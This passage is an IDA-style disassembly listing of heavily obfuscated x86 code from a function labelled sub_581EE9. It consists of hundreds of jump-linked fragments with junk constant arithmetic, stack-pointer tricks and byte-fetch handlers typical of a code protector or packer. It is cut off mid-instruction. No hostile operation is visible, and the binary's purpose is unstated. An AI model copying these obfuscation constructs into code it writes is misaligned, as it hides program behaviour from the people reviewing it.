sub_581EE9+1C77Fj push ebx push [esp-6E82h+arg_6E7C+2] mov ebx, [esp-6E7Eh+arg_6E76] add esp, 4 pop dword ptr [esp-6E82h+arg_6E7A] jmp loc_59A3F6 ; --------------------------------------------------------------------------- loc_5A4019: ; CODE XREF: sub_581EE9+10A59j add edi, edx pop edx sub edi, ebp jmp loc_59FE02 ; --------------------------------------------------------------------------- loc_5A4023: ; CODE XREF: sub_581EE9+17FE3j push eax mov eax, 4 add [esp-6EB8h+arg_6EB2+2], eax pop eax push [esp-6EBCh+arg_6EB2+2] pop ebx jmp loc_5A344B ; --------------------------------------------------------------------------- loc_5A4037: ; CODE XREF: sub_581EE9+19669j shr bl, 6 shr bl, 8 neg bl jmp loc_5A06AD ; --------------------------------------------------------------------------- loc_5A4044: ; CODE XREF: sub_581EE9+1B165j pop edx sub esp, 4 mov [esp-6EB0h+arg_6EA8], ecx mov ch, 46h push 6B94h mov [esp-6EACh+arg_6EA4], ebx push 7827h jmp loc_596584 ; --------------------------------------------------------------------------- loc_5A4062: ; CODE XREF: sub_581EE9+1369Dj pop ebx shl edi, 5 sub edi, 27E6DB5Ch add ecx, 28D4A39h add ecx, 468D4537h add ecx, edi push edi mov edi, 3D6E4EA8h sub edi, 34766C4h shr edi, 6 jmp loc_5A03BB ; --------------------------------------------------------------------------- loc_5A408E: ; CODE XREF: sub_581EE9+13D3Dj push esi mov esi, esp jmp loc_598CA7 ; --------------------------------------------------------------------------- loc_5A4096: ; CODE XREF: sub_581EE9+1E4CDj mov [esp-6E9Ch+arg_6E92+2], ecx mov ecx, 4 sub ebp, 62F52EF6h add ebp, ecx add ebp, 62F52EF6h push [esp-6E9Ch+arg_6E92+2] mov ecx, [esp-6E98h+arg_6E8E+2] add esp, 4 push ebx jmp loc_5A39F0 ; --------------------------------------------------------------------------- loc_5A40BE: ; CODE XREF: sub_581EE9+1DA05j add esp, 4 pop [esp-6EA2h+arg_6E9A] mov esp, [esp-6EA6h+arg_6E9E] mov word ptr [esp-6EA6h+arg_6E9E], dx jmp loc_59DCFF ; --------------------------------------------------------------------------- loc_5A40D3: ; CODE XREF: sub_581EE9+20DC0j shr ebp, 1 jmp loc_593CF2 ; --------------------------------------------------------------------------- loc_5A40DA: ; CODE XREF: sub_581EE9+1A05Cj add ebp, 2BF9622Ch add ebp, ecx sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], ecx sub esp, 4 jmp loc_596D27 ; --------------------------------------------------------------------------- loc_5A40F6: ; CODE XREF: sub_581EE9+1E565j push esi mov esi, esp add esi, 4 push ecx mov ecx, 3D83B00h sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], edi mov edi, 324F278Bh add edi, 1E8F0FCEh add ecx, edi pop edi shl ecx, 4 sub ecx, 2512072h push ebx mov ebx, 0B6E9FAE6h add ecx, ebx pop ebx sub esi, 45C8060Dh add esi, ecx jmp loc_59D09B ; --------------------------------------------------------------------------- loc_5A413B: ; CODE XREF: sub_581EE9+21517j pop esi jmp loc_599356 ; --------------------------------------------------------------------------- loc_5A4141: ; CODE XREF: sub_581EE9+169A1j add edi, ecx mov ecx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 add eax, edi pop edi push edi mov edi, 6C10232Fh push ebx mov ebx, 620B60C8h xor ebx, 42455560h not ebx dec ebx inc ebx add ebx, 0F7E3F2Ch add edi, ebx pop ebx add ecx, edi pop edi push eax jmp loc_5A54FE ; --------------------------------------------------------------------------- loc_5A4174: ; CODE XREF: sub_581EE9+20857j mov ebx, [esp-6E78h+arg_6E6E+2] add esp, 4 or edx, eax shl edx, 1 jmp loc_59A02E ; --------------------------------------------------------------------------- loc_5A4183: ; CODE XREF: sub_581EE9+2040Fj push ebx mov ebx, 4 sub ebp, 36D001ADh add ebp, 27C240C2h jmp loc_593DD0 ; --------------------------------------------------------------------------- lodsb push ebx push edx mov dl, 0B4h add dl, 0D2h mov bh, dl pop edx shl bh, 8 shr bh, 8 and bh, 21h and bh, 22h push eax mov al, 0D9h xor al, 5Dh add al, 78h jmp loc_5961D0 ; --------------------------------------------------------------------------- loc_5A41BD: ; CODE XREF: sub_581EE9+18563j xor esi, 42ED0FD2h shr esi, 7 sub esi, 9AFCDFh add ebp, esi jmp loc_593A66 ; --------------------------------------------------------------------------- loc_5A41D3: ; CODE XREF: sub_581EE9+1CC11j mov edx, [esp-6E9Ch+arg_6E92+2] add esp, 4 jmp loc_5A0928 ; --------------------------------------------------------------------------- loc_5A41E1: ; CODE XREF: sub_581EE9+1FACFj mov eax, 7A3E2694h push edx mov edx, 7CCE5769h and eax, edx mov edx, [esp-6EA0h+arg_6E96+2] jmp loc_59875C ; --------------------------------------------------------------------------- loc_5A41F6: ; CODE XREF: sub_581EE9+18A66j mov edx, 4 jmp loc_5A19BD ; --------------------------------------------------------------------------- loc_5A4200: ; CODE XREF: sub_581EE9+18D3Cj mov ebp, 7E555002h mov esi, ebp pop ebp neg esi jmp loc_5A08A6 ; --------------------------------------------------------------------------- loc_5A420F: ; CODE XREF: sub_581EE9+11479j add eax, 3F942C26h add eax, 39ED657Fh push esi mov esi, 2E8B42D0h add eax, esi pop esi jmp loc_59C1E0 ; --------------------------------------------------------------------------- loc_5A4227: ; CODE XREF: sub_581EE9+20CE7j pop esp mov [esp-6EA8h+arg_6E9E+2], esi push 671Bh mov [esp-6EA4h+arg_6E9A+2], esp add [esp-6EA4h+arg_6E9A+2], 4 mov esi, [esp-6EA4h+arg_6E9A+2] add esp, 4 jmp loc_593E3D ; --------------------------------------------------------------------------- loc_5A4248: ; CODE XREF: sub_581EE9+18408j dec dl sub dl, 0BCh mov al, dl pop edx add al, bl jmp loc_59844E ; --------------------------------------------------------------------------- loc_5A4257: ; CODE XREF: sub_581EE9+1D447j not ecx push edi mov edi, 0E333071Eh xor ecx, edi pop edi push ecx push edx jmp loc_59FCE7 ; --------------------------------------------------------------------------- loc_5A4269: ; CODE XREF: sub_581EE9+1426Cj push ebx mov ebx, 7925285Bh jmp loc_59BFE7 ; --------------------------------------------------------------------------- loc_5A4274: ; CODE XREF: sub_581EE9+1BE71j not esi dec esi add esi, 0E3A3EAF9h jmp loc_5A631B ; --------------------------------------------------------------------------- push [esp-6E66h+arg_6E5C+2] jmp loc_5923BB ; --------------------------------------------------------------------------- loc_5A428A: ; CODE XREF: sub_581EE9+16259j xor si, 0E140h jmp loc_5A1969 ; --------------------------------------------------------------------------- loc_5A4294: ; CODE XREF: sub_581EE9+1615Dj sub edi, 7E50B90Dh add esi, edi pop edi add esi, 780372E8h add esi, 68A05DA3h add esi, eax jmp loc_5A503E ; --------------------------------------------------------------------------- loc_5A42B0: ; CODE XREF: sub_581EE9+1BA7Fj pop esi add edi, eax jmp loc_59B69B ; --------------------------------------------------------------------------- loc_5A42B8: ; CODE XREF: sub_581EE9+11D2Fj neg ecx add ecx, 93CE095Bh mov edx, ecx pop ecx push esi mov esi, 48601FB1h jmp loc_599C64 ; --------------------------------------------------------------------------- loc_5A42CE: ; CODE XREF: sub_581EE9+23B3Aj mov [esp-6E76h+arg_6E6E], esp push 68FFh mov [esp-6E72h+arg_6E68+2], edx jmp loc_597794 ; --------------------------------------------------------------------------- loc_5A42DE: ; CODE XREF: sub_581EE9+174C4j push edx mov edx, 46EB5797h not edx jmp loc_59BF79 ; --------------------------------------------------------------------------- loc_5A42EB: ; CODE XREF: sub_581EE9+1FEA6j add cl, 62h or dl, cl mov ecx, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_5975AE ; --------------------------------------------------------------------------- loc_5A42FE: ; CODE XREF: sub_581EE9+10D11j and edx, 2ED85DFCh push edx not [esp-6E7Eh+arg_6E76] pop edx jmp loc_5A5E76 ; --------------------------------------------------------------------------- loc_5A430E: ; CODE XREF: sub_581EE9+1898Ej mov ebx, 695F4974h shr ebx, 7 inc ebx jmp loc_599741 ; --------------------------------------------------------------------------- loc_5A431C: ; CODE XREF: sub_581EE9+1D819j push 69A8h jmp loc_59C943 ; --------------------------------------------------------------------------- loc_5A4326: ; CODE XREF: sub_581EE9+1ED7Bj add cl, 1 push ax mov ah, 0E8h xor cl, ah pop ax xor cl, 0C8h add dh, cl mov ecx, [esp-6E56h+arg_6E4C+2] add esp, 4 sub dh, 41h jmp loc_5A084D ; --------------------------------------------------------------------------- loc_5A4344: ; CODE XREF: sub_581EE9+1C6DEj push edi jmp loc_592503 ; --------------------------------------------------------------------------- loc_5A434A: ; CODE XREF: sub_581EE9+1D254j add eax, 4 add eax, 4 push eax push [esp-6E72h+arg_6E6E] pop eax pop [esp-6E72h+arg_6E68+2] pop esp pop [esp-6E7Ah+arg_6E72] mov esp, [esp-6E7Eh+arg_6E76] jmp loc_593AF0 ; --------------------------------------------------------------------------- loc_5A4369: ; CODE XREF: sub_581EE9+1E94Dj pop ebx jmp loc_5931D1 ; --------------------------------------------------------------------------- loc_5A436F: ; CODE XREF: sub_581EE9+23E9Ej push ecx mov ecx, esp add ecx, 4 sub ecx, 2 xor ecx, [esp-6E76h+arg_6E6E] xor [esp-6E76h+arg_6E6E], ecx jmp loc_5A56FB ; --------------------------------------------------------------------------- loc_5A4389: ; CODE XREF: sub_581EE9+1E2FEj add ebx, 4 push edi mov edi, 5FB47E6Eh jmp loc_59B864 ; --------------------------------------------------------------------------- loc_5A439A: ; CODE XREF: sub_581EE9+21D8Cj push edi mov edi, esp push eax push esi push eax jmp loc_5A23D7 ; --------------------------------------------------------------------------- loc_5A43A5: ; CODE XREF: sub_581EE9+19028j pop ebx jmp loc_59FCA8 ; --------------------------------------------------------------------------- loc_5A43AB: ; CODE XREF: sub_581EE9+158D7j sub esi, 74213FDFh add esi, 38E00B3h add esi, edx jmp loc_597584 ; --------------------------------------------------------------------------- loc_5A43BE: ; CODE XREF: sub_581EE9+10D06j mov dword ptr [esp-6E82h+arg_6E7A], eax jmp loc_59D271 ; --------------------------------------------------------------------------- loc_5A43C6: ; CODE XREF: sub_581EE9+21C5Dj pop ebp xor eax, esi jmp loc_5A55DB ; --------------------------------------------------------------------------- loc_5A43CE: ; CODE XREF: sub_581EE9+152A3j add ebp, 2F181DB7h add edi, 683962F5h sub edi, 46EF38C9h add edi, ebp add edi, 46EF38C9h jmp loc_5A6CAC ; --------------------------------------------------------------------------- loc_5A43ED: ; CODE XREF: sub_581EE9+1E688j mov esi, 20CD1854h dec esi or esi, 339A6CB4h push ecx jmp loc_59B1A4 ; --------------------------------------------------------------------------- loc_5A43FF: ; CODE XREF: sub_581EE9+23ACFj or edx, 51D17D56h neg edx add edx, 3596B6Ah xor ebx, edx jmp loc_5923D4 ; --------------------------------------------------------------------------- loc_5A4414: ; CODE XREF: sub_581EE9+1D886j push edx jmp loc_5A1FC3 ; --------------------------------------------------------------------------- loc_5A441A: ; CODE XREF: sub_581EE9+1D5F0j xor dx, 449Ah xor bp, dx pop edx jmp loc_5A331C ; --------------------------------------------------------------------------- loc_5A4428: ; CODE XREF: sub_581EE9+186C0j xor ecx, 5BB78587h xor ecx, ebp pop ebp shl ecx, 4 not ecx push edx mov edx, 14A748BCh not edx inc edx sub edx, 884D9405h sub ecx, edx jmp loc_5A3F6A ; --------------------------------------------------------------------------- loc_5A444C: ; CODE XREF: sub_581EE9+1FF7Dj push 4935h mov [esp-6E7Ah+arg_6E72], ecx jmp loc_5A3ED5 ; --------------------------------------------------------------------------- loc_5A4459: ; CODE XREF: sub_581EE9+14B38j mov edx, 66265C9Fh xor edx, 255B6EC1h sub edx, 0D284F39Ah jmp loc_5980DA ; --------------------------------------------------------------------------- loc_5A446F: ; CODE XREF: sub_581EE9+1CF89j mov ebp, edx pop edx jmp loc_5A5E33 ; --------------------------------------------------------------------------- loc_5A4477: ; CODE XREF: sub_581EE9+22E0Fj xchg esi, [esp+0] pop esp add esp, 4 pop esi loc_5A4482: ; CODE XREF: sub_581EE9+150C9j push ebx jmp loc_595469 ; --------------------------------------------------------------------------- loc_5A4488: ; CODE XREF: sub_581EE9+1483Dj mov eax, edx pop edx shl eax, 4 not eax add eax, 3099CE0Ch sub ebp, 59DC63C4h add ebp, eax jmp loc_5A0FF3 ; --------------------------------------------------------------------------- loc_5A44A2: ; CODE XREF: sub_581EE9+18606j pop esp jmp loc_59303F ; --------------------------------------------------------------------------- loc_5A44A8: ; CODE XREF: sub_581EE9+10837j sub edi, ebp pop ebp pop esi add ebx, 4F9A345Eh add ebx, edi push esi jmp loc_593A74 ; --------------------------------------------------------------------------- loc_5A44BA: ; CODE XREF: sub_581EE9+227D4j xor [esp-6EC8h+arg_6EBE+2], edi xor edi, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] mov ax, word ptr [esp-6EC8h+arg_6EBE+2] push 567Fh mov [esp-6EC4h+arg_6EBA+2], ecx push 2D8Ch jmp loc_5985DC ; --------------------------------------------------------------------------- loc_5A44D9: ; CODE XREF: sub_581EE9+23E6Dj or edx, edi pop edi sub edx, 0E71F4964h push edi mov edi, edx mov ebx, edi jmp loc_59AA6C ; --------------------------------------------------------------------------- loc_5A44EC: ; CODE XREF: sub_581EE9+168D3j mov dh, 0EBh push ebx mov bh, 78h jmp loc_59449D ; --------------------------------------------------------------------------- loc_5A44F6: ; CODE XREF: sub_581EE9+174CFj add esp, 4 push ecx mov ebx, [esp-6E5Ah+arg_6E50+2] jmp loc_59E68B ; --------------------------------------------------------------------------- loc_5A4502: ; CODE XREF: sub_581EE9+22BCAj sub esp, 4 mov [esp-6E56h+arg_6E4C+2], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp-6E56h+arg_6E4C+2] pop esp add eax, 4 sub eax, 4 xchg eax, [esp-6E5Ah+arg_6E50+2] jmp loc_5986CD ; --------------------------------------------------------------------------- loc_5A452C: ; CODE XREF: sub_581EE9+12104j xchg edx, [esp-6EB0h+arg_6EA8] pop esp add esp, 4 movzx ecx, ax jmp loc_59540E ; --------------------------------------------------------------------------- loc_5A453B: ; CODE XREF: sub_581EE9+206B7j pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A4541: ; CODE XREF: sub_581EE9+15643j pop edx push 64CEh mov [esp-6E94h+arg_6E8A+2], ecx mov ecx, 357431E8h push 4412h mov [esp+0], edi mov edi, 345044E6h inc edi jmp loc_5A5969 ; --------------------------------------------------------------------------- loc_5A4562: ; CODE XREF: sub_581EE9+14F70j dec ecx add ecx, 50CBDD3Ch mov edi, ecx pop ecx jmp loc_594F62 ; --------------------------------------------------------------------------- loc_5A4571: ; CODE XREF: sub_581EE9+110A1j add esp, 4 sub esp, 4 mov [esp-6E5Eh+arg_6E54+2], eax jmp loc_5A65C2 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], esi mov esi, esp push edi push ecx mov ecx, 536346F8h push eax mov eax, ecx mov edi, eax jmp loc_594882 ; --------------------------------------------------------------------------- loc_5A459F: ; CODE XREF: sub_581EE9+1CF31j pop edi pop [esp-6EAEh+arg_6EA4+2] pop esp jmp loc_598F15 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EB6h+arg_6EAC+2] push ebx push esp mov ebx, [esp-6EAEh+arg_6EA4+2] jmp loc_59A5D2 ; --------------------------------------------------------------------------- loc_5A45B7: ; CODE XREF: sub_581EE9+13D16j pop esi push [esp-6E6Eh+arg_6E64+2] pop ebp add esp, 4 jmp loc_59FB18 ; --------------------------------------------------------------------------- loc_5A45C4: ; CODE XREF: sub_581EE9+12B4Bj xor ebp, 6AD650A3h mov ebx, ebp push [esp-6E64h+arg_6E5C] pop ebp add esp, 4 add [esp-6E68h+arg_6E64], ebx push [esp-6E68h+arg_6E60] jmp loc_5A17FE ; --------------------------------------------------------------------------- loc_5A45DF: ; CODE XREF: sub_581EE9+13004j sub edx, edi mov edi, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 xor eax, edx jmp loc_5966F5 ; --------------------------------------------------------------------------- loc_5A45F1: ; CODE XREF: sub_581EE9+17390j pop ebp add ebp, 2F3315Bh jmp loc_59DEA4 ; --------------------------------------------------------------------------- loc_5A45FD: ; CODE XREF: sub_581EE9+218D1j xor ecx, 7361C8F7h mov ebx, ecx push [esp-6E72h+arg_6E68+2] pop ecx push edx push esp mov edx, [esp-6E6Ah+arg_6E60+2] add esp, 4 jmp loc_59890B ; --------------------------------------------------------------------------- loc_5A4619: ; CODE XREF: sub_581EE9+20297j mov edi, esp push edx jmp loc_5A6023 ; --------------------------------------------------------------------------- loc_5A4621: ; CODE XREF: sub_581EE9+230A7j mov [esp-6E96h+arg_6E8E], esi sub esp, 4 push esp pop [esp-6E8Eh+arg_6E84+2] add [esp-6E92h+arg_6E8A], 4 pop esi push 1620h mov [esp-6E92h+arg_6E8A], ebp mov ebp, 1B0B4157h sub esp, 4 jmp loc_59B9E7 ; --------------------------------------------------------------------------- loc_5A4648: ; CODE XREF: sub_581EE9+13B0Aj mov [esp-6EA4h+arg_6E9A+2], ebp mov ebp, 4 add esi, 538D148Eh add esi, 5DF3309Ah add esi, ebp sub esi, 5DF3309Ah sub esi, 538D148Eh jmp loc_59F10C ; --------------------------------------------------------------------------- loc_5A466F: ; CODE XREF: sub_581EE9+176A1j push 5B86h jmp loc_59A1D3 ; --------------------------------------------------------------------------- loc_5A4679: ; CODE XREF: sub_581EE9+1A8E8j shr esi, 7 xor esi, 40A67D89h sub esi, 3CA80CECh add ebx, 7B822A36h push 54CAh jmp loc_5970DF ; --------------------------------------------------------------------------- loc_5A4698: ; CODE XREF: sub_581EE9+1DBCBj push edx mov dh, 3Fh jmp loc_5972E6 ; --------------------------------------------------------------------------- loc_5A46A0: ; CODE XREF: sub_581EE9+115EAj mov [esp-6E6Ah+arg_6E60+2], ecx push bx sub esp, 4 jmp loc_599F43 ; --------------------------------------------------------------------------- loc_5A46B0: ; CODE XREF: sub_581EE9+160C8j mov eax, 600A7E07h jmp loc_59B4F9 ; --------------------------------------------------------------------------- loc_5A46BA: ; CODE XREF: sub_581EE9+1D8D5j xor edi, [esp-6E94h+arg_6E8A+2] jmp loc_5A44BA ; --------------------------------------------------------------------------- loc_5A46C2: ; CODE XREF: sub_581EE9+19620j pop ebp inc eax push edx jmp loc_5A24E8 ; --------------------------------------------------------------------------- loc_5A46CA: ; CODE XREF: sub_581EE9+1D0A5j mov edi, 4 jmp loc_5A3D27 ; --------------------------------------------------------------------------- loc_5A46D4: ; CODE XREF: sub_581EE9+1C7A3j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6E9Ah+arg_6E92] pop esp pop ecx add ebx, 8495744h push eax jmp loc_5A57F8 ; --------------------------------------------------------------------------- loc_5A46F3: ; CODE XREF: sub_581EE9+1EC24j push 30D4h mov [esp-6E5Ah+arg_6E50+2], ebp jmp loc_5A3085 ; --------------------------------------------------------------------------- loc_5A4700: ; CODE XREF: sub_581EE9+1439Fj mov [esp-6EA8h+arg_6E9E+2], ebx push 2402h mov [esp-6EA4h+arg_6E9A+2], esp add [esp-6EA4h+arg_6E9A+2], 4 push [esp-6EA4h+arg_6E9A+2] pop ebx add esp, 4 jmp loc_5A14E7 ; --------------------------------------------------------------------------- loc_5A471E: ; CODE XREF: sub_581EE9+13F18j mov eax, [esp-6E8Ah+arg_6E80+2] push eax mov eax, esp jmp loc_5A2230 ; --------------------------------------------------------------------------- loc_5A4729: ; CODE XREF: sub_581EE9+1C1B2j sub edi, 8043Dh add ecx, edi pop edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0] pop esp jmp loc_5A3CEF ; --------------------------------------------------------------------------- loc_5A4746: ; CODE XREF: sub_581EE9+24248j push 41C8h mov [esp+0], ebx push [esp-6E90h+arg_6E8A+2] mov ebx, [esp-6E8Ch+arg_6E84] add esp, 4 jmp loc_5922A1 ; --------------------------------------------------------------------------- loc_5A475D: ; CODE XREF: sub_581EE9+20342j mov ecx, [esp-6E42h+arg_6E3A] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E3Eh+arg_6E36] jmp loc_5A17CA ; --------------------------------------------------------------------------- loc_5A4773: ; CODE XREF: sub_581EE9+19EE6j mov [esp-6E72h+arg_6E68+2], ebx mov ebx, 6E703B0h push edx push ebx push 4AA6484Bh pop ebx shl ebx, 6 add ebx, 0B42A2480h mov edx, ebx mov ebx, [esp-6E6Ah+arg_6E60+2] add esp, 4 jmp loc_5934D8 ; --------------------------------------------------------------------------- loc_5A4799: ; CODE XREF: sub_581EE9+1C0ACj mov bh, 90h xor bh, 7Dh dec bh sub bh, 0D3h jmp loc_592764 ; --------------------------------------------------------------------------- loc_5A47A8: ; CODE XREF: sub_581EE9+1E8BBj mov ebx, 0B5A00B6h mov esi, 188431CEh add esi, ebx pop ebx push ebx mov ebx, 743C3B2Fh xor esi, ebx mov ebx, [esp-6E9Eh+arg_6E96] jmp loc_59A7BC ; --------------------------------------------------------------------------- loc_5A47C5: ; CODE XREF: sub_581EE9+186D9j push ebp mov ebp, esp push edi push ebx mov ebx, 4 mov edi, ebx pop ebx jmp loc_593157 ; --------------------------------------------------------------------------- loc_5A47D7: ; CODE XREF: sub_581EE9+238ECj mov [esp-6E72h+arg_6E68+2], esi push ecx mov ecx, 233E11D6h mov esi, ecx jmp loc_5A2B65 ; --------------------------------------------------------------------------- loc_5A47E7: ; CODE XREF: sub_581EE9+14941j push ebx mov ebx, esp add ebx, 4 push edi jmp loc_597431 ; --------------------------------------------------------------------------- loc_5A47F6: ; CODE XREF: sub_581EE9+22EB3j mov ebp, 10973158h mov ebx, 10973159h xor ebx, ebp pop ebp and eax, ebx jmp loc_59AA80 ; --------------------------------------------------------------------------- loc_5A480A: ; CODE XREF: sub_581EE9+20550j push edx mov edx, 6FC69F1Bh xor edi, edx pop edx jmp loc_5A6E21 ; --------------------------------------------------------------------------- loc_5A4818: ; CODE XREF: sub_581EE9+1836Ej not ecx xor ecx, 0D1E421D7h mov esi, ecx pop ecx sub eax, 58B449ABh sub eax, 6B9B369Bh sub eax, esi add eax, 6B9B369Bh push edx mov edx, 42185730h xor edx, 1AAC1E9Bh add eax, edx mov edx, [esp-6E5Ah+arg_6E50+2] jmp loc_59F104 ; --------------------------------------------------------------------------- loc_5A484A: ; CODE XREF: sub_581EE9+16668j add edi, edx add edi, 53470667h sub edi, 6C6B3EC2h jmp loc_598DA3 ; --------------------------------------------------------------------------- loc_5A485D: ; CODE XREF: sub_581EE9+213CDj mov ch, 52h mov al, ch pop ecx sub al, 0E9h push ecx mov cl, 59h jmp loc_59354B ; --------------------------------------------------------------------------- loc_5A486C: ; CODE XREF: sub_581EE9+1BBCCj mov esp, [esp-6E5Ch+arg_6E54] push 47E1h mov [esp-6E58h+arg_6E50], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A487C: ; CODE XREF: sub_581EE9+16973j sub bl, 0B9h movzx eax, al pop small word ptr [edi+eax*4] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A488B: ; CODE XREF: sub_581EE9+1EADBj add edi, 4 sub edi, 4 xchg edi, [esp-6EC8h+arg_6EBE+2] pop esp jmp loc_5A319D ; --------------------------------------------------------------------------- loc_5A48A0: ; CODE XREF: sub_581EE9+1479Ej pop esp jmp loc_5981DC ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA6h+arg_6E9E] push 7CBEh mov [esp-6EA2h+arg_6E9A], esi jmp loc_59F536 ; --------------------------------------------------------------------------- loc_5A48B7: ; CODE XREF: sub_581EE9+19E1Fj mov dword ptr [esp-6EAAh+arg_6EA2], ebx push 3351DB92h mov ebx, [esp-6EA6h+arg_6E9E] push 4B17h jmp loc_5A25B6 ; --------------------------------------------------------------------------- loc_5A48CC: ; CODE XREF: sub_581EE9+1130Bj mov ecx, 4F215B86h jmp loc_59311A ; --------------------------------------------------------------------------- loc_5A48D6: ; CODE XREF: sub_581EE9+23A7Bj add edx, eax add edx, 542370D7h jmp loc_5A5D9B ; --------------------------------------------------------------------------- loc_5A48E3: ; CODE XREF: sub_581EE9+1747Bj mov dword ptr [esp-6EAAh+arg_6EA2], eax mov ah, 8Eh and ah, 0B0h sub ah, 0FFh or ah, 0D6h jmp loc_59CAF9 ; --------------------------------------------------------------------------- loc_5A48F6: ; CODE XREF: sub_581EE9+151B9j add edi, 2B6E5E2Bh sub edi, ebp sub edi, 2B6E5E2Bh mov ebp, [esp-6E76h+arg_6E6E] jmp loc_594FD5 ; --------------------------------------------------------------------------- loc_5A490C: ; CODE XREF: sub_581EE9+1AB87j mov ch, bh mov dl, ch pop ecx pop ebx jmp loc_5991FC ; --------------------------------------------------------------------------- loc_5A4917: ; CODE XREF: sub_581EE9+1091Cj mov ebx, 478F5F50h jmp loc_5969F6 ; --------------------------------------------------------------------------- loc_5A4921: ; CODE XREF: sub_581EE9+18180j push [esp-6E7Eh+arg_6E76] mov edi, [esp-6E7Ah+arg_6E72] add esp, 4 add esp, 4 jmp loc_59739F ; --------------------------------------------------------------------------- lodsb xor al, bl push 33Eh mov [esp-6E7Eh+arg_6E76], ebx mov bh, 21h jmp loc_5A2D7D ; --------------------------------------------------------------------------- loc_5A4947: ; CODE XREF: sub_581EE9+142E9j sub bh, al jmp loc_59A7A0 ; --------------------------------------------------------------------------- loc_5A494E: ; CODE XREF: sub_581EE9+17F48j pop [esp-6E8Eh+arg_6E84+2] pop esp xor ebp, [esp-6E96h+arg_6E8E] xor [esp-6E96h+arg_6E8E], ebp xor ebp, [esp-6E96h+arg_6E8E] mov esp, [esp-6E96h+arg_6E8E] jmp loc_595C40 ; --------------------------------------------------------------------------- loc_5A4963: ; CODE XREF: sub_581EE9+141F4j add esi, 580519BFh pop eax xchg esi, [esp-6EA2h+arg_6E9A] pop esp push [esp-6EA6h+arg_6E9E] push [esp-6EA2h+arg_6E9A] push [esp-6E9Eh+arg_6E96] jmp loc_59B523 ; --------------------------------------------------------------------------- loc_5A497C: ; CODE XREF: sub_581EE9+15024j add ebx, edi pop edi jmp loc_595DFB ; --------------------------------------------------------------------------- loc_5A4984: ; CODE XREF: sub_581EE9+17871j add ebx, ebp pop ebp dec ebx add ebx, 1CA2656Fh xor ebx, 52A3376Dh mov esi, ebx pop ebx sub esi, eax push [esp-6E7Ah+arg_6E72] pop eax sub esp, 4 jmp loc_5A3FCC ; --------------------------------------------------------------------------- loc_5A49A5: ; CODE XREF: sub_581EE9+147FDj sub eax, 22070804h jmp loc_5A182A ; --------------------------------------------------------------------------- loc_5A49AF: ; CODE XREF: sub_581EE9+1BC79j push [esp-6E66h+arg_6E5C+2] mov eax, [esp-6E62h+arg_6E58+2] jmp loc_59E16D ; --------------------------------------------------------------------------- loc_5A49BA: ; CODE XREF: sub_581EE9+157BBj add ebp, esi push ecx mov ecx, 7F5E6AFFh jmp loc_5980E2 ; --------------------------------------------------------------------------- loc_5A49C7: ; CODE XREF: sub_581EE9+16D45j mov [esp-6E94h+arg_6E8A+2], ecx jmp loc_5A5021 ; --------------------------------------------------------------------------- loc_5A49CF: ; CODE XREF: sub_581EE9+249DDj mov edx, esp push edi jmp loc_5A1A48 ; --------------------------------------------------------------------------- lodsd push edx push ebp mov ebp, 29C77AACh push edx push ebx mov ebx, 459360C0h jmp loc_595EA1 ; --------------------------------------------------------------------------- loc_5A49EB: ; CODE XREF: sub_581EE9+1A0D7j push 16E3h mov [esp-6E9Ch+arg_6E92+2], ebp mov ebp, 1E0D0995h or ebp, 3CBD0E96h add ebp, 25C85C05h jmp loc_5A0286 ; --------------------------------------------------------------------------- loc_5A4A09: ; CODE XREF: sub_581EE9+160ABj add ebx, ecx pop ecx jmp loc_59A1F9 ; --------------------------------------------------------------------------- loc_5A4A11: ; CODE XREF: sub_581EE9+14A4Ej pop ebp add esp, 4 push dword ptr [edi+24h] push 7364h jmp loc_5A6C27 ; --------------------------------------------------------------------------- loc_5A4A22: ; CODE XREF: sub_581EE9+17F6Dj xor [esp-6E96h+arg_6E8E], ebp jmp loc_5953FE ; --------------------------------------------------------------------------- loc_5A4A2A: ; CODE XREF: sub_581EE9+21696j add esp, 4 shl ebp, 4 jmp loc_59EF6C ; --------------------------------------------------------------------------- lodsb add al, 3Bh push small 6139h mov word ptr [esp-6E58h+arg_6E50], cx mov cl, 0D6h sub al, cl pop cx jmp loc_5967A5 ; --------------------------------------------------------------------------- loc_5A4A4E: ; CODE XREF: sub_581EE9+13BD5j mov ah, 4Ch not ah jmp loc_59BCB6 ; --------------------------------------------------------------------------- loc_5A4A57: ; CODE XREF: sub_581EE9+18929j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A4A5C: ; CODE XREF: sub_581EE9+1919Cj add al, dl push [esp-6EAEh+arg_6EA4+2] push dword ptr [esp-6EAAh+arg_6EA2] jmp loc_59549B ; --------------------------------------------------------------------------- loc_5A4A69: ; CODE XREF: sub_581EE9+11F4Fj shr esi, 1 xor esi, 0D2594586h sub edx, esi pop esi sub ebp, 1CCE7E4Eh add ebp, edx sub esp, 4 jmp loc_5A4B3A ; --------------------------------------------------------------------------- loc_5A4A84: ; CODE XREF: sub_581EE9+1848Cj sub edi, 0E0A0322h mov ebx, [esp-6EA2h+arg_6E9A] add esp, 4 jmp loc_59E98A ; --------------------------------------------------------------------------- loc_5A4A98: ; CODE XREF: sub_581EE9+1ADA8j mov [esp-6E9Ch+arg_6E92+2], edx mov dl, 0CBh mov bl, dl pop edx shr bl, 4 neg bl jmp loc_59935C ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA0h+arg_6E96+2] push eax push esp mov eax, [esp-6E98h+arg_6E8E+2] jmp loc_5A4502 ; --------------------------------------------------------------------------- loc_5A4AB8: ; CODE XREF: sub_581EE9+182A1j mov esi, 4E717467h add ebx, esi pop esi push [esp-6E5Ah+arg_6E50+2] pop edi push 4F26h mov 